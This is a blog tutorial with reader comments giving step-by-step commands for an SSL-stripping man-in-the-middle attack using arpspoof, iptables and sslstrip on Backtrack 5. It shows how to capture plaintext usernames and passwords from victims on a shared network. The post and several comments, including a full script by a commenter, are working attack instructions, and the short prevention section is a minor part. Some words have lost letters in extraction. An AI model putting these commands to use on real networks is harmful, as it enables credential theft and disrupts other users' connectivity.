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Break SSL Protection Using SSLStrip and Backtrack 5


Posted by v4L in Tutorial | 29 responses
2

Type : Tutorial

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Level : Medium, Advanced


Some people asks "Are you sure SSL(Secure Socket
Layer) port 443 can be hacked and we know the
password sent over the network??"..
What is SSL?
For more information about this, you can see my
previous tutorial about SSL and HTTPS.
actually if you see my explanation about SSL in my
previous post, when we try to break the encryption
it's a little bit hard to break, but here in this tutorial I
will explain how to break the SSL encryption without breaking the SSL encryption
using Man in the Middle Attack
.
Man in the Middle Attack
What is Man in the Middle Attack? I also have already write down about this in my
previous post about "Hacking Facebook Using Man in the Middle Attack"
Requirement :
1. Linux OS
2. Arpspoof
3. IPTables
4. SSLStrip
5. NetStat
All of this requirements maybe have other dependencies with other packages, I
suggest you to use Backtrack Linux for more easier to do this tutorial, because all of
the requirement package already installed inside Backtrack Linux(except SSLStrip).
Perform the Attack Man in the Middle Attack
1. Set your Linux box to make it can forward every incoming port(enable port
forwarding).
echo '1' > /proc/sys/net/ipv4/ip_forward

This code will let your Linux Backtrack have ability to forward every packet that was
not intended for your machine.
2. Know your network gateway
netstat -nr

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For example i've already know that my gateway address is 192.168.8.8


3. Use ARP spoof to perform Man in the Middle Attack
arpspoof -i eth0 192.168.8.8

a. Change "eth0" to your network card that currently connected to the network.
Usually it is eth0 or wlan0.
b. Change "192.168.8.8" to your network default gateway.
c. In this tutorial I use arpspoof to entire network. Be careful if your network have a
large user connected to it, because it will crash your network and bring your network
down.
SSL Strip
Created by Moxie Morlinspike who provides a demonstration of the HTTPS stripping
attacks that presented at Black Hat DC 2009. It will transparently hijack HTTP trac
on a network, watch for HTTPS links and redirects, then map those links into either
look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for
supplying a favicon which looks like a lock icon, selective logging, and session denial.
-Taken from author websiteThis all happens on the y, and is practically will invisible to users. The only way to
notice is by checking the URL in the address bar where normally it would display
HTTPS, it will now display HTTP instead.
Install SSL Strip (optional)
1. Download SSL Strip
2. tar zxvf sslstrip-0.9.tar.gz
3. cd sslstrip-0.9
4. python setup.py install
Executing SSL Strip Attack
1. We need to set up a rewall rule (using iptables) to redirect requests from port 80
to port 8080 to ensure our outgoing connections (from SSL Strip) get routed to the

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proper port.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

2. After nished set up iptables, the next step we need to redirect all network HTTP
trac through our computer using ARPSpoof (don't forget to enable IP forwarding)
echo '1' > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 192.168.8.8

3. When everything running well, you will see that ARPSpoof capturing network
trac, then the next step you need to start your SSL Strip by opening new
terminal(CTRL+ALT+T)
sslstrip -l 8080

"-l" tells the system to listen on specied port.

Above picture tells that SSL Strip already running and waiting for victim opening SSL
URL such as (https://mail.google.com; https://mail.yahoo.com; etc)
As a victim I will try to open https://mail.live.com. When I open the page, what I see
is looks like below picture

The URL changed into HTTP.


4. After SSL Strip capturing enough data, to stop ARPSpoof and SSL Strip just hit
CTRL + C. After you stop it, the whole network will be down and cannot be accessed
for a while(it shouldn't take long time), this can happen because ARPSpoof didn't
automatically repopulate the ARP tables with router proper MAC address.
5. Inside the SSL Strip folder there will be a new le created " sslstrip.log" that
stores all information that already captured over the HTTP protocol and even the
HTTPS. Just take a look to the le using your favorite text editor. Below picture is the

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content of my sslstrip.log :that already captured victim data when they open
https://mail.live.com.

You can see the plain data of username and password there.

Prevention of SSL Strip Attack


1. If you are on public network (internet cafe, unsecured hotspot, etc) minimalize
login into your personal account.
2. Use SSH Tunneling (You can see the tutorial here).
3. Keep your eyes open.
This fake URL address
Dierent with this one

Remember This !
Be wise to use this application, and don't get shocked if this application also can help
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you go to jail faster if you use for an unintended purpose by law.


Regards : Vishnu Valentino

Vishnu Valentino
Computer Security, Blogger

Nothing
Secure...
BANDUNG - INDONESIA
CHANGCHUN - CHINA

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29 Comments
June 5th,
2011

SSL hacking My Blog Says:

[...] SSL hacking [...]


June 23rd,
2011
Ethical Hacking Says:

04/25/2012 09:46 AM

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Its done check this out http://www.ehacking.net


/2011/06/crack-ssl-using-sslstrip-with.html
August
29th, 2011
reverse call lookup Says:

Thanks for the article, rst time seeing your site. I


would love to contribute more in the future.

August
30th, 2011

reverse call lookup Says:

Thanks for the informative post.. and thanks for adding


my comment to the blog.

September
23rd, 2011

saurabh msihra Says:

It does'n work in google crome


September
23rd, 2011
saurabh msihra Says:

and youtube also doesn't buer the video


September
23rd, 2011
v4L Says:

#saurabh
OopsI havent try it in chrome, anyone have try it in
chrome?
because in my opinion, this sslstrip will act as man in
the middle attack that unmask the https into
httpmaybe that chrome use extension like this
https://chrome.google.com/webstore/detail
/lgpkjjingioekjianemgdobchenebhek?

October
22nd, 2011

chard Says:

Thanks Vishu i run an update/upgrade and it works


now. can you give a little favor i know this is the
October
wrong forum but if you like to answer my question? Im
22nd, 2011
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having a trouble in sslstrip its updated and I dont think


i must download a newer version of sslstrip because
when i updated backtrack it comes along (new version)
i think. my problem is that when i type sslstrip -l
10000 it says sslstrip:command not found? its not
found?but its installed and its updated do i have to
enable it or something cant get it?pls help me
vishnu.hoping for your response
Read more : http://vishnuvalentino.com/computer
/how-to-set-up-armitage-in-backtrack-5/#comment-2595
v4L Says:

#chard
you should go to sslstrip folder.. try to search it by
November
using whereis sslstrip or search sslstrip command and run
2nd, 2011
it from there.
3n1gma Says:

Now I've had issues in the past with sslstrip on


backtrack5. I can never get it to capture data. I've
November
used all of the recommended changes. All of the
4th, 2011
commands have been followed to the letter. Yet still
there is nothing. Now I can perform MITM attacks all
day. I just can't get sslstrip to work. SMDH!!! What am
I doing wrong????
Amnesiac Says:

hi, i tried everything in this post, even tried dierent


posts but i cant get the sslstrip program to capture
November
anything, it runs ne, i have set my iptables and ports,
6th, 2011
arpspoofs working and i also use ettercap, but when i
get to the point of actually getting the packets i get
nothing, i just get this:
sslstrip 0.9 by Moxie Marlinspike running
and it doesnt capture anything. Any ideas??? Im using
backtrack 5.
v4L Says:

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#Amnesiac
In which network you run it?
December
8th, 2011
Dorky Says:

after entering netstat -nr there's no gateway output, it


only say Keep ip routing table gateway etc.

December
8th, 2011

v4L Says:

#Dorky
maybe you havent set your gateway yet

December
10th, 2011

Dorky Says:

can u tell me how to set it, i just follow the echo '1'
command then type netstat -nr and then all is blank

December
10th, 2011

v4L Says:

#Dorky
Something like

route add default gw 192.168.1.0

January 4th,
2012

monkeyPhisher Says:

sslstrip v0.9 has errors in it, go back to v0.8 or v0.6


January
16th, 2012
hueyii Says:

I cant get the iptables comand to work. It returns the


error:
iptables: No chain/target/match by that name
(I booted from the Backtrack5 CD)

January
16th, 2012

v4L Says:

#hueyii

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Did you already congured your network address?


try run iptables -L to list the table

January
16th, 2012

Dorky Says:

i have successfuly run sslstrip, if i bring my laptop to a


wi area will it sni automaticaly?

January
17th, 2012

hueyii Says:

Since I posted the question, I have installed BT5 to my


hard drive. I have made no modications. When I list
January
iptables it looks like nothings congured?
17th, 2012
root@bt:~# iptables -L
Chain INPUT (policy ACCEPT)
target
prot opt source
destination
Chain FORWARD (policy ACCEPT)
target
prot opt source
destination
Chain OUTPUT (policy ACCEPT)
target
prot opt source
destination
Do I need to congure iptables rst?
hueyii Says:

I created basic rules with iptables. Now iptables -L


returns:
Chain INPUT (policy ACCEPT)
target
prot opt source
destination
ACCEPT
tcp anywhere
anywhere
state ESTABLISHED
ACCEPT
udp anywhere
anywhere
state ESTABLISHED
ACCEPT
icmp anywhere
anywhere
state RELATED,ESTABLISHED
DROP
all anywhere
anywhere
Chain FORWARD (policy ACCEPT)
target
prot opt source
destination
Chain OUTPUT (policy ACCEPT)
target
prot opt source
destination
ACCEPT
tcp anywhere
anywhere
state NEW,ESTABLISHED
ACCEPT
udp anywhere
anywhere
state NEW,ESTABLISHED

January
17th, 2012

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ACCEPT
icmp anywhere
anywhere
state NEW,RELATED,ESTABLISHED
but I still get the same error
hueyii Says:

oops. I had a typo in the iptables command.


January
17th, 2012

Thx
hueyii Says:

It worked. Thanx. One thing to note is that with


backtrack5 I had to use the following procedure. It's
January
the same but there were dierences in the sslstrip
19th, 2012
location as well as the resulting sslstrip.log
echo 'turn on ipforwarding'
echo '1' > /proc/sys/net/ipv4/ip_forward
echo 'the next line spoofs the subnets default gateway'
arpspoof -i eth0 192.168.255.254
echo 'Run this in a seperate console. It will redirect
packets received on port 80 to port 8080 where sslstrip
will be listening'
iptables -t nat -A PREROUTING -p tcp destination-port
80 -j REDIRECT to-port 8080
echo 'Start sslstrip on port 8080'
python /pentest/web/sslstrip/sslstrip.py -l 8080
echo 'When nished, use ctrl-c to kill arpspoof and
sslstrip. Look for what was captured in sslstrip.log. I
found this in the root folder'

v4L Says:

#Dorky
No you cant, you should have wi- card that support
promiscious mode

February
13th, 2012

mukul Says:

i am using bt r2 with vmware and this is not saving in


data in sslstrip.log

February
18th, 2012

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v4L Says:

#mukul
hmmwhen you run sslstrip, the logle should be
March
saved inside the folder you run the sslstrip application.
15th, 2012
Bobby Says:

I have the same Mukul's problem. I am using BT R2


with VMware and this not saving in log data. I try to
March
create a new logle (such as abc.log) but it's a empty
18th, 2012
le. I have the Virtual Mechine use BTR2 and my laptop
uses Win7. I try to break ssl on my Win7 laptop, but it's
successful. I can not access to the https on my laptop
when arpspoof and sslstrip are runing on VM. Can you
give me any advice?
v4L Says:

#Bobby
Is theres any error messages appear in your
sslstrip.log?

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